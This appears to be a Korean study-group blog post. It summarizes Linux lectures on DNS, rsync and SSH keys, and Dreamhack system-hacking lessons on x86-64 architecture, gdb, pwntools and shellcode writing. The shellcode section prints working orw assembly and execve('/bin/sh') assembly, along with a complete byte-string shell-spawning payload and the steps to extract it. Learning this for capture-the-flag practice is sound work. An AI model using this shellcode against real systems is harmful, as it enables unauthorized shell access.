[24.05.04] 4주차 활동 - 리눅스 기초, 포너블 기초

1. 인프런 '생활코딩-리눅스' 강의를 함께 듣고 공부했다.

• 섹션 10. 도메인
• 섹션 11. 인터넷을 통한 서버간 동기화
• 섹션 12. 로그인 없이 로그인 하기

https://inf.run/9Yxy

[지금 무료] 생활코딩 - Linux | Egoing Lee - 인프런

 

2. 드림핵 'System Hacking' 로드맵을 함께 듣고 공부했다.

• System Hacking Introduction
• Background - Computer Science
• Tool Installation
• Shellcode

https://dreamhack.io/lecture/roadmaps/2

System Hacking

---

섹션 10. 도메인

1. DNS (Domain name system)

사용자가 브라우저를 통해 도메인 이름 (예: google.com)으로 서버에 접속할 때, DNS 서버를 통해 해당 도메인의 IP 주소를 조회하여 실제 서버에 연결합니다.

 

2. hosts 파일

: 도메인 네임과 IP Address를 매핑하는 파일. 각각의 컴퓨터마다 hosts 파일을 가지며, DNS 이전에는 hosts 파일을 통해 접속.

 

- 어떤 도메인에 접속 시도를 하면 local의 hosts 파일부터 살피게 되고, 찾는 내용이 없을 때 DNS에 접속 → 이런 특성 때문에 hosts에 대한 악의적인 변조 공격이 가능

 

network : 각 host의 모임
internet : network의 모임

 

3. 도메인 구입

: 도메인 네임을 독점적으로 사용하기 위해서 도메인을 구입. 도메인 네임을 구입하고 `curl` 명령어를 통해 나온 IP 주소를 등록하면 사용 가능.

 

4. 서브 도메인

: 하나의 서버는 하나의 도메인과 매칭. 서브 도메인은 서버가 여러개일때 도메인을 재사용하는 것.

ex) egoing.ga -> admin.egoing.ga, blog.egoing.ga 등등

 

5. DNS의 동작 원리

`dig +trace egoing.ga` : 도메인의 IP 주소를 리턴하기 위해 거쳐가는 서버들을 알려줌

 

(1) egoing.ga. 에 접속한다.
(2) root DNS에.ga를 담당하는 DNS 서버 목록을 물어본다.
(3) 반환받은 DNS 서버(ga DNS 서버) 중에 하나에 egoing.ga.를 관리하는 DNS 서버를 물어본다.
(4) 반환받은 DNS 서버(egoing.ga DNS 서버)에 최종적으로 IP 주소를 묻게된다 → 최종적으로 IP 주소가 나올 때까지 DNS 서버에 묻는 것을 반복한다.

 

섹션 11. 인터넷을 통한 서버간 동기화 rsync

rsync 1 : Basic

`r` : remote의 약자
`sync` : 각 컴퓨터의 변경내용을 다른 컴퓨터에도 반영되도록하여 동일한 상태를 유지하는것.

`rsyn`c : 인터넷을 통해 sync할 수 있도록하는 프로그램. 파일 카피, 백업 등에 사용.

`rsync -av src/ dest` : 변동 내용만 복제.

 

src와 dest 디렉토리를 만들어 두 디렉토리를 동기화, src 폴더에 파일을 만든 후 `rsync -a src/ dest`를 입력하면 dest라는 디렉토리 안에 src 디렉토리 아래의 파일이 복제됨.

 

rsync 2 : Remote sync

다른 컴퓨터에 sync를 진행

(1) 동기화하고자 하는 컴퓨터의 IP를 알아낸다
(2) `rsync -azP ~/rsync/src/ k8805@192.168.0.65:~/rsync/dest` 를 통해 dest 디렉토리에 src의 파일을 복제할 수 있다.   (cf. -z : zip)

 

섹션 12. 로그인 없이 로그인 하기 ssh key

ssh public private key

: ssh 공개키, 비공개 키를 이용해 로그인

 

`ssh-keygen` : /home/egoing/.ssh/id_rsa에 키쌍을 생성. id_ras (비밀키), id_rsa.pub (공개키) 파일 생성.

 

로그인하고자하는 컴퓨터에 공개키를 저장하게 되면 비밀번호 없이 로그인 가능.
: authorized_keys에 pub key를 추가하면 됨 →  `ssh-copy-id egoing@192.168.0.67`를 이용해 추가 가능 (여기서 egoing@192.168.0.67는 로그인하고자 하는 컴퓨터)

 

rsync

: ssh키를 이용하면 로그인 없이 rsync를 이용할 수 있음  →   crone 기능을 이용하여 자동화를 할 수 있음

 

RSA

비대칭 암호화 : 암호화와 복호화에 사용되는 키가 다른 암호화
암호화는 비밀키를 통해, 복호화는 공개키를 통해서 진행

 

ssh 인증과정

1. ssh client가 ssh sever(접속대상)에 접속하면 ssh sever가 랜덤키를 전달한다
2. ssh client는 랜덤키를 id_rsa(비밀키) 통해 암호화하여 sever에 전달한다
3. ssh sever는 authorized_keys에 저장된 client의 공개키를 이용하여 복호화하여 전달한 랜덤키의 값과 같은지 확인한다.

---

System Hacking Introduction

환경구축

Ubuntu 22.04 기반 

윈도우 : VMware, VirtualBox, WSL2

맥 : VirtualBox

 

Background - Computer Science

1. Computer Architecture

(1) 컴퓨터 구조

: 컴퓨터가 효율적으로 작동할 수 있도록 하드웨어 및 소프트웨어의 기능을 고안하고, 이들을 구성하는 방법. 컴퓨터의 기능 구조에 대한 설계, 명령어 집합구조, 마이크로 아키텍처, 하드웨어 및 컴퓨팅 방법에 대한 설계 등.

 

- 폰 노이만 구조 : 중앙처리장치(CPU) + 기억장치(memory) + 버스(bus)

 

(2) 명령어 집합 구조 (ISA)

: CPU가 해석하는 명령어의 집합. IA-32, x86-64(x64), MIPS, AVR 등 다양한 연산 수준과 컴퓨터 환경에 맞추기 위해 개발.

 

(3) x86-64 아키텍처

: 가장 널리 사용되는 ISA

인텔의 32비트 CPU 아키텍처 IA-32 ---(64비트 확장)--> AMD의 AMD64 아키텍처 

-> 이를 기반으로 발표된 다양한 이름의 아키텍처 => x86-64 (범용적, 중립적 지칭)

 

(4) x86-64 아키텍처의 레지스터

레지스터 : CPU가 데이터를 빠르게 저장하고 사용할 때 이용하는 보관소

• 범용 레지스터(General Register)
• 세그먼트 레지스터(Segment Register)
• 플래그 레지스터(Flag Register)

레지스터 호환 : x86-64는 IA-32의 64비트 확장 아키텍처이므로 호환이 가능

 

2. Linux Memory Layout

(1) 세그먼트 (Segment) : 적재되는 데이터의 용도별로 메모리의 구획을 나눈 것

(2) 코드 세그먼트 (Code Segment) : 텍스트 세그먼트(Text Segment) ,  실행 가능한 기계 코드가 위치하는 영역

(3) 데이터 세그먼트 (Data Segment) : 컴파일 시점에 값이 정해진 전역 변수 및 전역 상수들이 위치

(4) BSS 세그먼트 (BSS Segment, Block Started By Symbol Segment) : 컴파일 시점에 값이 정해지지 않은 전역 변수가 위치

(5) 스택 세그먼트 (Stack Segment) : 프로세스의 스택이 위치. 

(6) 힙 세그먼트 (Heap Segment) : 힙 데이터가 위치. 실행중에 동적으로 할당. 스택 세그먼트와 반대 방향으로 자람(충돌 방지).

 

3. x86 Assembly

(1) 어셈블리어 (Assembly Language)

: 컴퓨터의 기계어와 치환되는 언어. 명령어 집합구조가 다양함에 따라 어셈블리어도 여러 종류,

- 어셈블러(Assembler) : 어셈블리어 -> 기계

- 역어셈블러(Disassembler) : 기계어 -> 어셈블리어

 

(2) x86-64 어셈블리어

- 기본 구조 : 명령어(Operation Code, Opcode) + 피연산자(Operand)

- 명령어

• 데이터 이동 : mov, lea
• 산술 연산: add, sub, inc, dec
• 논리 연산: and, or, xor, not
• 비교: cmp, test
• 분기: jmp, je, jg
• 스택 : push, pop
• 프로시져 : call, ret, leave
• 시스템 콜 : syscall

- 피연산자 : []으로 둘러싸인 것으로 표현 

• 상수(Immediate Value)
• 레지스터(Register)
• 메모리(Memory)
• 앞에 크기 지정자(Size Directive) TYPE PTR이 추가될 수 있음.
  : BYTE(1바이트), WORD(2바이트), DWORD(4바이트), QWORD(8바이트)

 

Tool Installation

1. gdb

: 바이너리 분석 용도 플러그인

• entry: 진입점에 중단점을 설정한 후 실행
• break(b): 중단점 설정
• continue(c): 계속 실행
• disassemble: 디스어셈블 결과 출력
• u, nearpc, pd: 디스어셈블 결과 가독성 좋게 출력
• x: 메모리 조회
• run(r): 프로그램 처음부터 실행
• context: 레지스터, 코드, 스택, 백트레이스의 상태 출력
• nexti(ni): 명령어 실행, 함수 내부로는 들어가지 않음
• stepi(si): 명령어 실행, 함수 내부로 들어감
• telescope(tele): 메모리 조회, 메모리값이 포인터일 경우 재귀적으로 따라가며 모든 메모리값 출력
• vmmap: 메모리 레이아웃 출력

2. pwntools

: 바이너리 익스플로잇과 같은 보안 문제를 해결하기 위한 파이썬 라이브러리

• process & remote : 익스프로잇 수행
• send & recv :  데이터 송수신
• packing & unpacking : 정수 <-> 바이트 배열
• interacitve : 프로세스 또는 서버와 터미널로 직접 통신
• context.arch: 익스플로잇 대상의 아키텍처
• context.log_level: 익스플로잇 과정에서 출력할 정보의 중요도
• ELF: ELF헤더의 여러 중요 정보 수집
• shellcraft: 다양한 셸 코드를 제공
• asm: 어셈블리 코드를 기계어로 어셈블

Shellcode

익스플로잇(Exploit) : 상대 시스템을 공격하는 것

셸코드(Shellcode) : 익스플로잇을 위해 제작된 어셈블리 코드 조각. 셸코드는 어셈블리어로 구성되며 공격을 수행할 대상 아키텍처와 운영체제에 따라, 그리고 셸코드의 목적에 따라 다르게 작성.

 

1. orw 셸코드

: 파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드.

 

[예시] "/tmp/flag"를 읽는 셸코드

 

-  셸코드의 동작을 C언어 형식의 의사코드로 표현한 것

char buf[0x30];

int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);

 

- 필요 syscall

syscall	rax	rdi	rsi	rdx
read	0x00	fd	*buf	count
write	0x01	fd	buf*	count
open	0x02	*filename	flags	mode

 

- c 코드 어셈블리어 구현

(1) open : int fd = open("/tmp/flag", RD_ONLY, NULL);

push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi,rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2 
syscall

 

(2) read : read(fd, buf, 0x30);

mov rdi, rax
mov rsi, rsp
sub rsi, 0x30
mov rdx, 0x30
mov rax, 0x0
syscall

 

(3) write : write(1, buf, 0x30);

mov rdi, 1
mov rax, 0x1
syscall

 

2. execve 셸코드

: 임의의 프로그램을 실행하는 셸코드, 이를 이용하면 서버의 셸을 획득. 

syscall	rax	rdi	rsi	rdx
execve	0x3b	*filename	*argv	*envp

- argv : 실행파일에 넘겨줄 인자 / envp : 환경변수

- `evecve("/bin/sh", null, null)` 어셈블리어로 작성

mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall

 

 

3. 셸코드 제작

 

- 셸코드 컴파일 및 실행

// File name: sh-skeleton.c
// Compile Option: gcc -o sh-skeleton sh-skeleton.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "Input your shellcode here.\n"
    "Each line of your shellcode should be\n"
    "seperated by '\n'\n"

    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c    # rax = sys_exit\n"
    "syscall        # exit(0)");

void run_sh();

int main() { run_sh(); }

위 스켈레톤 코드의 `__asm__ ` 함수 안에 작성한 어셈블리어를 입력하고 `gcc -o name name.c -masm=intel` 통해 컴파일하여 실행하면 셸코드를 실행해볼 수 있다.

 

- 셸코드를 바이트코드(opcode)로 추출

(1) 셸코드 asm 파일 생성

; File name: shellcode.asm
section .text
global _start
_start:
xor    eax, eax
push   eax
push   0x68732f2f
push   0x6e69622f
mov    ebx, esp
xor    ecx, ecx
xor    edx, edx
mov    al, 0xb
int    0x80

 

(2) shellcode.o 파일 생성 후 objdump로 확인

$ sudo apt-get install nasm   # nasm 패키지 설치
$ nasm -f elf shellcode.asm   # 소스파일을 ELF 형식의 오브젝트 파일(shellcode.o)로 컴파일
$ objdump -d shellcode.o      # objdump 사용하여 오브젝트 파일을 디스어셈블
shellcode.o:     file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
   0:	31 c0                	xor    %eax,%eax
   2:	50                   	push   %eax
   3:	68 2f 2f 73 68       	push   $0x68732f2f
   8:	68 2f 62 69 6e       	push   $0x6e69622f
   d:	89 e3                	mov    %esp,%ebx
   f:	31 c9                	xor    %ecx,%ecx
  11:	31 d2                	xor    %edx,%edx
  13:	b0 0b                	mov    $0xb,%al
  15:	cd 80                	int    $0x80
$

 

(3) 실행결과에서 기계어 코드 부분을 추출해 바이트 코드 생성

$ objcopy --dump-section .text=shellcode.bin shellcode.o # .text 섹션 추출하여 저장
$ xxd shellcode.bin                                      # 파일 내용을 헥사덤프형태로 출력
00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e331  1.Ph//shh/bin..1
00000010: c931 d2b0 0bcd 80                        .1.....
$

 

(4) 완성된 바이트 코드

# execve /bin/sh shellcode: 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"

 

[실습] shell_basic